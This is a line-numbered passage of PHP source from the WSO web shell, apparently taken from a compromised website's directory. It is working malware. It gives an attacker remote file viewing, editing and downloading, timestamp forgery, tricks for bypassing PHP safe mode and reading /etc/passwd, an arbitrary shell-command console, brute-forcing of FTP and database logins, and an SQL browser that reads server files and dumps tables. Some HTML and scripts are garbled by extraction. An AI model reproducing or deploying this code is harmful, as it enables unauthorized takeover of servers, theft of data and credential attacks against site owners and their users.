  1163. if( isset($_POST['p1']) )
  1164. $_POST['p1'] = urldecode(base64_decode($_POST['p1']));
  1165. if(@$_POST['p2']=='download') {
  1166. if(@is_file($_POST['p1']) &&@is_readable($_POST['p1'])) {
  1167. ob_start("ob_gzhandler",4096);
  1168. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1169. if (function_exists("mime_content_type")) {
  1170. $type = @mime_content_type($_POST['p1']);
  1171. header("Content-Type: ".$type);
  1172. }else
  1173. header("Content-Type: application/octet-stream");
  1174. $fp = @fopen($_POST['p1'],"r");
  1175. if($fp) {
  1176. while(!@feof($fp))
  1177. echo @fread($fp,1024);
  1178. fclose($fp);
  1179. }
  1180. }exit;
  1181. }
  1182. if( @$_POST['p2'] == 'mkfile') {
  1183. if(!file_exists($_POST['p1'])) {
  1184. $fp = @fopen($_POST['p1'],'w');
  1185. if($fp) {
  1186. $_POST['p2'] = "edit";
  1187. fclose($fp);
  1188. }
  1189. }
  1190. }
  1191. wsoHeader();
  1192. echo '<h1>File tools</h1><div class=content>';
  1193. if( !file_exists(@$_POST['p1']) ) {
  1194. echo 'File not exists';
  1195. wsoFooter();
  1196. return;
  1197. }
  1198. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1199. if(!$uid) {
  1200. $uid['name'] = @fileowner($_POST['p1']);
  1201. $gid['name'] = @filegroup($_POST['p1']);
  1202. }else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1203. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1204. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1205. if( empty($_POST['p2']) )
  1206. $_POST['p2'] = 'view';
  1207. if( is_file($_POST['p1']) )
  1208. $m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
  1209. else
  1210. $m = array('Chmod','Rename','Touch');
  1211. foreach($m as $v)
  1212. echo '<a  >'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1213. echo '<br><br>';
  1214. switch($_POST['p2']) {
  1215. case 'view':
  1216. echo '<pre class=ml1>';
  1217. $fp = @fopen($_POST['p1'],'r');
  1218. if($fp) {
  1219. while( !@feof($fp) )
  1220. echo htmlspecialchars(@fread($fp,1024));
  1221. @fclose($fp);
  1222. }
  1223. echo '</pre>';
  1224. break;
  1225. case 'highlight':
  1226. if( @is_readable($_POST['p1']) ) {
  1227. echo '<div class=ml1  #e1e1e1;color:black;">';
  1228. $code = @highlight_file($_POST['p1'],true);
  1229. echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';
  1230. }
  1231. break;
  1232. case 'chmod':
  1233. if( !empty($_POST['p3']) ) {
  1234. $perms = 0;
  1235. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1236. $perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
  1237. if(!@chmod($_POST['p1'],$perms))
  1238. echo 'Can't set permissions!<br>[removed]document.mf.p3.value="";[removed]';
  1239. }
  1240. clearstatcache();
  1241. echo '[removed]p3_="";[removed]<form  false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'">></form>';
  1242. break;
  1243. case 'edit':
  1244. if( !is_writable($_POST['p1'])) {
  1245. echo 'File isn't writeable';
  1246. break;
  1247. }
  1248. if( !empty($_POST['p3']) ) {
  1249. $time = @filemtime($_POST['p1']);
  1250. $_POST['p3'] = substr($_POST['p3'],1);
  1251. $fp = @fopen($_POST['p1'],"w");
  1252. if($fp) {
  1253. @fwrite($fp,base64_decode(($_POST['p3'])));
  1254. @fclose($fp);
  1255. echo 'Saved!<br>[removed]p3_="";[removed]';
  1256. @touch($_POST['p1'],$time,$time);
  1257. }
  1258. }
  1259. echo '<form  false;"><textarea name=text id="textbase" class=bigarea>';
  1260. $fp = @fopen($_POST['p1'],'r');
  1261. if($fp) {
  1262. while( !@feof($fp) )
  1263. echo htmlspecialchars(@fread($fp,1024));
  1264. @fclose($fp);
  1265. }
  1266. echo '</textarea>></form>';
  1267. break;
  1268. case 'hexdump':
  1269. $c = @file_get_contents($_POST['p1']);
  1270. $n = 0;
  1271. $h = array('00000000<br>','','');
  1272. $len = strlen($c);
  1273. for ($i=0;$i<$len;++$i) {
  1274. $h[1] .= sprintf('X',ord($c[$i])).' ';
  1275. switch ( ord($c[$i]) ) {
  1276. case 0:  $h[2] .= ' ';break;
  1277. case 9:  $h[2] .= ' ';break;
  1278. case 10: $h[2] .= ' ';break;
  1279. case 13: $h[2] .= ' ';break;
  1280. default: $h[2] .= $c[$i];break;
  1281. }
  1282. $n++;
  1283. if ($n == 32) {
  1284. $n = 0;
  1285. if ($i+1 <$len) {$h[0] .= sprintf('X',$i+1).'<br>';}
  1286. $h[1] .= '<br>';
  1287. $h[2] .= "n";
  1288. }
  1289. }
  1290. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span  normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1291. break;
  1292. case 'rename':
  1293. if( !empty($_POST['p3']) ) {
  1294.  $_POST['p3'] = ($_POST['p3']);
  1295. if(!@rename(($_POST['p1']),($_POST['p3'])))
  1296. echo 'Can't rename!<br>';
  1297. else
  1298. die('[removed]g(null,null,"'.urlencode($_POST['p3']).'",null,"")[removed]');
  1299. }
  1300. echo '<form  false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'">></form>';
  1301. break;
  1302. case 'touch':
  1303. if( !empty($_POST['p3']) ) {
  1304. $time = strtotime($_POST['p3']);
  1305. if($time) {
  1306. if(!touch($_POST['p1'],$time,$time))
  1307. echo 'Fail!';
  1308. else
  1309. echo 'Touched!';
  1310. }else echo 'Bad time format!';
  1311. }
  1312. clearstatcache();
  1313. echo '[removed]p3_="";[removed]<form  false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'">></form>';
  1314. break;
  1315. }
  1316. echo '</div>';
  1317. wsoFooter();
  1318. }
  1319. function actionSafeMode() {
  1320. $temp='';
  1321. ob_start();
  1322. switch($_POST['p1']) {
  1323. case 1:
  1324. $temp=@tempnam($test,'cx');
  1325. if(@copy("compress.zlib://".$_POST['p2'],$temp)){
  1326. echo @file_get_contents($temp);
  1327. unlink($temp);
  1328. }else
  1329. echo 'Sorry... Can't open file';
  1330. break;
  1331. case 2:
  1332. $files = glob($_POST['p2'].'*');
  1333. if( is_array($files) )
  1334. foreach ($files as $filename)
  1335. echo $filename."n";
  1336. break;
  1337. case 3:
  1338. $ch = curl_init("file://".$_POST['p2']."x00".preg_replace('!(d+)s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'));
  1339. curl_exec($ch);
  1340. break;
  1341. case 4:
  1342. ini_restore("safe_mode");
  1343. ini_restore("open_basedir");
  1344. include($_POST['p2']);
  1345. break;
  1346. case 5:
  1347. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1348. $uid = @posix_getpwuid($_POST['p2']);
  1349. if ($uid)
  1350. echo join(':',$uid)."n";
  1351. }
  1352. break;
  1353. }
  1354. $temp = ob_get_clean();
  1355. wsoHeader();
  1356. echo '<h1>Safe mode bypass</h1><div class=content>';
  1357. echo '<span>Copy (read file)</span><form  false;'><input type=text name=param>></form><br><span>Glob (list dir)</span><form  false;'><input type=text name=param>></form><br><span>Curl (read file)</span><form  false;'><input type=text name=param>></form><br><span>Ini_restore (read file)</span><form  false;'><input type=text name=param>></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form  false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table>></form>';
  1358. if($temp)
  1359. echo '<pre class="ml1"  id="Output">'.htmlspecialchars($temp).'</pre>';
  1360. echo '</div>';
  1361. wsoFooter();
  1362. }
  1363. function actionConsole() {
  1364. if(!empty($_POST['p1']) &&!empty($_POST['p2'])) {
  1365. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1366. $_POST['p1'] .= ' 2>&1';
  1367. }elseif(!empty($_POST['p1']))
  1368. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1369. if(isset($_POST['ajax'])) {
  1370. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1371. ob_start();
  1372. echo "d.cf.cmd.value='';n";
  1373. $temp = @iconv($_POST['charset'],'UTF-8',addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt\'�"));
  1374. if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) {
  1375. if(@chdir($match[1])) {
  1376. $GLOBALS['cwd'] = @getcwd();
  1377. echo "c_='".$GLOBALS['cwd']."';";
  1378. }
  1379. }
  1380. echo "d.cf.output.value+='".$temp."';";
  1381. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1382. $temp = ob_get_clean();
  1383. echo strlen($temp),"n",$temp;
  1384. exit;
  1385. }
  1386. wsoHeader();
  1387. echo "[removed]
  1388. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1389. var cmds = new Array('');
  1390. var cur = 0;
  1391. function kp(e) {
  1392.  var n = (window.Event) ? e.which : e.keyCode;
  1393.  if(n == 38) {
  1394.   cur--;
  1395.   if(cur>=0)
  1396.    document.cf.cmd.value = cmds[cur];
  1397.   else
  1398.    cur++;
  1399.  } else if(n == 40) {
  1400.   cur++;
  1401.   if(cur < cmds.length)
  1402.    document.cf.cmd.value = cmds[cur];
  1403.   else
  1404.    cur--;
  1405.  }
  1406. }
  1407. function add(cmd) {
  1408.  cmds.pop();
  1409.  cmds.push(cmd);
  1410.  cmds.push('');
  1411.  cur = cmds.length-1;
  1412. }
  1413.  
  1414. [removed]";
  1415.  echo '<h1>Console</h1><div class=content><form name=cf  false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1416. foreach($GLOBALS['aliases'] as $n =>$v) {
  1417. if($v == '') {
  1418. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1419. continue;
  1420. }
  1421. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1422. }
  1423. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1424. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1425. echo '</select>> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output  readonly>';
  1426. if(!empty($_POST['p1'])) {
  1427. echo htmlspecialchars("$ ".$_POST['p1']."n".wsoEx($_POST['p1']));
  1428. }
  1429. echo '</textarea><table  solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd  ></td></tr></table>';
  1430. echo '</form></div>[removed]d.cf.cmd.focus();[removed]';
  1431. wsoFooter();
  1432. }
  1433. function actionLogout() {
  1434. session_destroy();
  1435. die('bye!');
  1436. }
  1437. function actionSelfRemove() {
  1438. if($_POST['p1'] == 'yes')
  1439. if(@unlink(preg_replace('!(d+)s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt')))
  1440. die('Shell has been removed');
  1441. else
  1442. echo 'unlink error!';
  1443. if($_POST['p1'] != 'yes')
  1444. wsoHeader();
  1445. echo '<h >Suicide</h1><div class=content>Really want to remove the shell?<br><a  >Yes</a></div>';
  1446. wsoFooter();
  1447. }
  1448. function actionBruteforce() {
  1449. wsoHeader();
  1450. if( isset($_POST['proto']) ) {
  1451. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1452. if( $_POST['proto'] == 'ftp') {
  1453. function bruteForce($ip,$port,$login,$pass) {
  1454. $fp = @ftp_connect($ip,$port?$port:21);
  1455. if(!$fp) return false;
  1456. $res = @ftp_login($fp,$login,$pass);
  1457. @ftp_close($fp);
  1458. return $res;
  1459. }
  1460. }elseif( $_POST['proto'] == 'mysql') {
  1461. function bruteForce($ip,$port,$login,$pass) {
  1462. $res = @mysql_connect($ip.':'.$port?$port:3306,$login,$pass);
  1463. @mysql_close($res);
  1464. return $res;
  1465. }
  1466. }elseif( $_POST['proto'] == 'pgsql') {
  1467. function bruteForce($ip,$port,$login,$pass) {
  1468. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1469. $res = @pg_connect($str);
  1470. @pg_close($res);
  1471. return $res;
  1472. }
  1473. }
  1474. $success = 0;
  1475. $attempts = 0;
  1476. $server = explode(":",$_POST['server']);
  1477. if($_POST['type'] == 1) {
  1478. $temp = @file('/etc/passwd');
  1479. if( is_array($temp) )
  1480. foreach($temp as $line) {
  1481. $line = explode(":",$line);
  1482. ++$attempts;
  1483. if( bruteForce(@$server[0],@$server[1],$line[0],$line[0]) ) {
  1484. $success++;
  1485. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1486. }
  1487. if(@$_POST['reverse']) {
  1488. $tmp = "";
  1489. for($i=strlen($line[0])-1;$i>=0;--$i)
  1490. $tmp .= $line[0][$i];
  1491. ++$attempts;
  1492. if( bruteForce(@$server[0],@$server[1],$line[0],$tmp) ) {
  1493. $success++;
  1494. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1495. }
  1496. }
  1497. }
  1498. }elseif($_POST['type'] == 2) {
  1499. $temp = @file($_POST['dict']);
  1500. if( is_array($temp) )
  1501. foreach($temp as $line) {
  1502. $line = trim($line);
  1503. ++$attempts;
  1504. if( bruteForce($server[0],@$server[1],$_POST['login'],$line) ) {
  1505. $success++;
  1506. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1507. }
  1508. }
  1509. }
  1510. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1511. }
  1512. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1513. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1514. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1515. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1516. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1517. .'<span>Server:port</span></td>'
  1518. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1519. .'<tr><td><span>Brute type</span></td>'
  1520. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1521. .'<tr><td></td><td><label ><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1522. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1523. .'<tr><td></td><td><table ><tr><td><span>Login</span></td>'
  1524. .'<td><input type=text name=login value="root"></td></tr>'
  1525. .'<tr><td><span>Dictionary</span></td>'
  1526. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1527. .'</td></tr><tr><td></td><td>></td></tr></form></table>';
  1528. echo '</div><br>';
  1529. wsoFooter();
  1530. }
  1531. function actionSql() {
  1532. class DbClass {
  1533. var $type;
  1534. var $link;
  1535. var $res;
  1536. function DbClass($type) {
  1537. $this->type = $type;
  1538. }
  1539. function connect($host,$user,$pass,$dbname){
  1540. switch($this->type) {
  1541. case 'mysql':
  1542. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1543. break;
  1544. case 'pgsql':
  1545. $host = explode(':',$host);
  1546. if(!$host[1]) $host[1]=5432;
  1547. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1548. break;
  1549. }
  1550. return false;
  1551. }
  1552. function selectdb($db) {
  1553. switch($this->type) {
  1554. case 'mysql':
  1555. if (@mysql_select_db($db))return true;
  1556. break;
  1557. }
  1558. return false;
  1559. }
  1560. function query($str) {
  1561. switch($this->type) {
  1562. case 'mysql':
  1563. return $this->res = @mysql_query($str);
  1564. break;
  1565. case 'pgsql':
  1566. return $this->res = @pg_query($this->link,$str);
  1567. break;
  1568. }
  1569. return false;
  1570. }
  1571. function fetch() {
  1572. $res = func_num_args()?func_get_arg(0):$this->res;
  1573. switch($this->type) {
  1574. case 'mysql':
  1575. return @mysql_fetch_assoc($res);
  1576. break;
  1577. case 'pgsql':
  1578. return @pg_fetch_assoc($res);
  1579. break;
  1580. }
  1581. return false;
  1582. }
  1583. function listDbs() {
  1584. switch($this->type) {
  1585. case 'mysql':
  1586. return $this->query("SHOW databases");
  1587. break;
  1588. case 'pgsql':
  1589. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1590. break;
  1591. }
  1592. return false;
  1593. }
  1594. function listTables() {
  1595. switch($this->type) {
  1596. case 'mysql':
  1597. return $this->res = $this->query('SHOW TABLES');
  1598. break;
  1599. case 'pgsql':
  1600. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1601. break;
  1602. }
  1603. return false;
  1604. }
  1605. function error() {
  1606. switch($this->type) {
  1607. case 'mysql':
  1608. return @mysql_error();
  1609. break;
  1610. case 'pgsql':
  1611. return @pg_last_error();
  1612. break;
  1613. }
  1614. return false;
  1615. }
  1616. function setCharset($str) {
  1617. switch($this->type) {
  1618. case 'mysql':
  1619. if(function_exists('mysql_set_charset'))
  1620. return @mysql_set_charset($str,$this->link);
  1621. else
  1622. $this->query('SET CHARSET '.$str);
  1623. break;
  1624. case 'pgsql':
  1625. return @pg_set_client_encoding($this->link,$str);
  1626. break;
  1627. }
  1628. return false;
  1629. }
  1630. function loadFile($str) {
  1631. switch($this->type) {
  1632. case 'mysql':
  1633. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1634. break;
  1635. case 'pgsql':
  1636. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1637. $r=array();
  1638. while($i=$this->fetch())
  1639. $r[] = $i['file'];
  1640. $this->query('drop table wso2');
  1641. return array('file'=>implode("n",$r));
  1642. break;
  1643. }
  1644. return false;
  1645. }
  1646. function dump($table,$fp = false) {
  1647. switch($this->type) {
  1648. case 'mysql':
  1649. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1650. $create = mysql_fetch_array($res);
  1651. $sql = $create[1].";n";
  1652. if($fp) fwrite($fp,$sql);else echo($sql);
  1653. $this->query('SELECT * FROM `'.$table.'`');
  1654. $head = true;
  1655. while($item = $this->fetch()) {
  1656. $columns = array();
  1657. foreach($item as $k=>$v) {
  1658. if($v == null)
  1659. $item[$k] = "NULL";
  1660. elseif(is_numeric($v))
  1661. $item[$k] = $v;
  1662. else
  1663. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1664. $columns[] = "`".$k."`";
  1665. }
  1666. if($head) {
  1667. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES nt(".implode(", ",$item).')';
  1668. $head = false;
  1669. }else
  1670. $sql = "nt,(".implode(", ",$item).')';
  1671. if($fp) fwrite($fp,$sql);else echo($sql);
  1672. }
  1673. if(!$head)
  1674. if($fp) fwrite($fp,";nn");else echo(";nn");
  1675. break;
  1676. case 'pgsql':
  1677. $this->query('SELECT * FROM '.$table);
  1678. while($item = $this->fetch()) {
  1679. $columns = array();
  1680. foreach($item as $k=>$v) {
  1681. $item[$k] = "'".addslashes($v)."'";
  1682. $columns[] = $k;
  1683. }
  1684. $sql = 'INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."n";
  1685. if($fp) fwrite($fp,$sql);else echo($sql);
  1686. }
  1687. break;
  1688. }
  1689. return false;
  1690. }
  1691. };
  1692. $db = new DbClass($_POST['type']);
  1693. if(@$_POST['p2']=='download') {
  1694. $db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);
  1695. $db->selectdb($_POST['sql_base']);
  1696. switch($_POST['charset']) {
  1697. case "Windows-1251": $db->setCharset('cp1251');break;
  1698. case "UTF-8": $db->setCharset('utf8');break;
  1699. case "KOI8-R": $db->setCharset('koi8r');break;
  1700. case "KOI8-U": $db->setCharset('koi8u');break;
  1701. case "cp866": $db->setCharset('cp866');break;
  1702. }
  1703. if(empty($_POST['file'])) {
  1704. ob_start("ob_gzhandler",4096);
  1705. header("Content-Disposition: attachment; filename=dump.sql");
  1706. header("Content-Type: text/plain");
  1707. foreach($_POST['tbl'] as $v)
  1708. $db->dump($v);
  1709. exit;
  1710. }elseif($fp = @fopen($_POST['file'],'w')) {
  1711. foreach($_POST['tbl'] as $v)
  1712. $db->dump($v,$fp);
  1713. fclose($fp);
  1714. unset($_POST['p2']);
  1715. }else
  1716. die('[removed]alert("Error! Can't open file");window.history.back(-1)[removed]');
  1717. }
  1718. wsoHeader();
  1719. echo "
  1720.  
  1721. <h1>Sql browser</h1><div class=content>
  1722. <form name='sf' method='post' ><table cellpadding='2' cellspacing='0'><tr>
  1723. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1724. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1725. <td><select name='type'><option value='mysql' ";
  1726. if(@$_POST['type']=='mysql')echo 'selected';
  1727. echo ">MySql</option><option value='pgsql' ";
  1728. if(@$_POST['type']=='pgsql')echo 'selected';
  1729. echo ">PostgreSql</option></select></td>
  1730. <td><input type=text name=sql_host value='".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1731. <td><input type=text name=sql_login value='".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1732. <td><input type=text name=sql_pass value='".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1733. $tmp = "<input type=text name=sql_base value=''>";
  1734. if(isset($_POST['sql_host'])){
  1735. if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])) {
  1736. switch($_POST['charset']) {
  1737. case "Windows-1251": $db->setCharset('cp1251');break;
  1738. case "UTF-8": $db->setCharset('utf8');break;
  1739. case "KOI8-R": $db->setCharset('koi8r');break;
  1740. case "KOI8-U": $db->setCharset('koi8u');break;
  1741. case "cp866": $db->setCharset('cp866');break;
  1742. }
  1743. $db->listDbs();
  1744. echo "<select name=sql_base><option value=''></option>";
  1745. while($item = $db->fetch()) {
  1746. list($key,$value) = each($item);
  1747. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1748. }
  1749. echo '</select>';
  1750. }
  1751. else echo $tmp;
  1752. }else
  1753. echo $tmp;
  1754. echo "</td>
  1755.  
  1756.     <td>></td>
  1757.                 <td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
  1758.    </tr>
  1759.   </table>
  1760.   [removed]
  1761.             s_db='".@addslashes($_POST['sql_base'])."';
  1762.             function fs(f) {
  1763.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1764.                     if(f.p1) f.p1.value='';
  1765.                     if(f.p2) f.p2.value='';
  1766.                     if(f.p3) f.p3.value='';
  1767.                 }
  1768.             }
  1769.    function st(t,l) {
  1770.     d.sf.p1.value = 'select';
  1771.     d.sf.p2.value = t;
  1772.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1773.     d.sf.submit();
  1774.    }
  1775.    function is() {
  1776.     for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1777.      d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1778.    }
  1779.   [removed]";
  1780. if(isset($db) &&$db->link){
  1781. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1782. if(!empty($_POST['sql_base'])){
  1783. $db->selectdb($_POST['sql_base']);
  1784. echo "<tr><td width=1  solid #666;'><span>Tables:</span><br><br>";
  1785. $tbls_res = $db->listTables();
  1786. while($item = $db->fetch($tbls_res)) {
  1787. list($key,$value) = each($item);
  1788. if(!empty($_POST['sql_count']))
  1789. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1790. $value = htmlspecialchars($value);
  1791. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a >".$value."</a>".(empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") ."</nobr><br>";
  1792. }
  1793. echo "<input type='checkbox' > <input type=button value='Dump' ><br>File path:<input type=text name=file value='dump.sql'></td><td  solid #666;'>";
  1794. if(@$_POST['p1'] == 'select') {
  1795. $_POST['p1'] = 'query';
  1796. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1797. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);
  1798. $num = $db->fetch();
  1799. $pages = ceil($num['n'] / 30);
  1800. echo "[removed]d.sf.onsubmit=function(){st("".$_POST['p2'] ."", d.sf.p3.value)}[removed]<span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=".((int)$_POST['p3']) .">";
  1801. echo " of $pages";
  1802. if($_POST['p3'] >1)
  1803. echo " <a  >< Prev</a>";
  1804. if($_POST['p3'] <$pages)
  1805.  echo " <a  >Next ></a>";
  1806. $_POST['p3']--;
  1807. if($_POST['type']=='pgsql')
  1808. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1809. else
  1810. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1811. echo "<br><br>";
  1812. }
  1813. if((@$_POST['p1'] == 'query') &&!empty($_POST['p2'])) {
  1814. $db->query(@$_POST['p2']);
  1815. if($db->res !== false) {
  1816. $title = false;
  1817. echo '<table width=100% cellspacing=1 cellpadding=2 class=main #292929">';
  1818. $line = 1;
  1819. while($item = $db->fetch()) {
  1820. if(!$title) {
  1821. echo '<tr>';
  1822. foreach($item as $key =>$value)
  1823. echo '<th>'.$key.'</th>';
  1824. reset($item);
  1825. $title=true;
  1826. echo '</tr><tr>';
  1827. $line = 2;
  1828. }
  1829. echo '<tr class="l'.$line.'">';
  1830. $line = $line==1?2:1;
  1831. foreach($item as $key =>$value) {
  1832. if($value == null)
  1833. echo '<td><i>null</i></td>';
  1834. else
  1835. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1836. }
  1837. echo '</tr>';
  1838. }
  1839. echo '</table>';
  1840. }else {
  1841. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1842. }
  1843. }
  1844. echo "<br></form><form  false;'><textarea name='query' >";
  1845. if(!empty($_POST['p2']) &&($_POST['p1'] != 'loadfile'))
  1846. echo htmlspecialchars($_POST['p2']);
  1847. echo "</textarea><br/><input type=submit value='Execute'>";
  1848. echo "</td></tr>";
  1849. }
  1850. echo "</table></form><br/>";
  1851. if($_POST['type']=='mysql') {
  1852. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1853. if($db->fetch())
  1854. echo "<form  false;'><span>Load file</span> <input  class='toolsInp' type=text name=f>></form>";
  1855. }
  1856. if(@$_POST['p1'] == 'loadfile') {
  1857. $file = $db->loadFile($_POST['p2']);
  1858. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1859. }
  1860. }else {
  1861. echo htmlspecialchars($db->error());
  1862. }
  1863. echo '</div>';
  1864. wsoFooter();
  1865. }
  1866. function actionNetwork() {
  1867. wsoHeader();
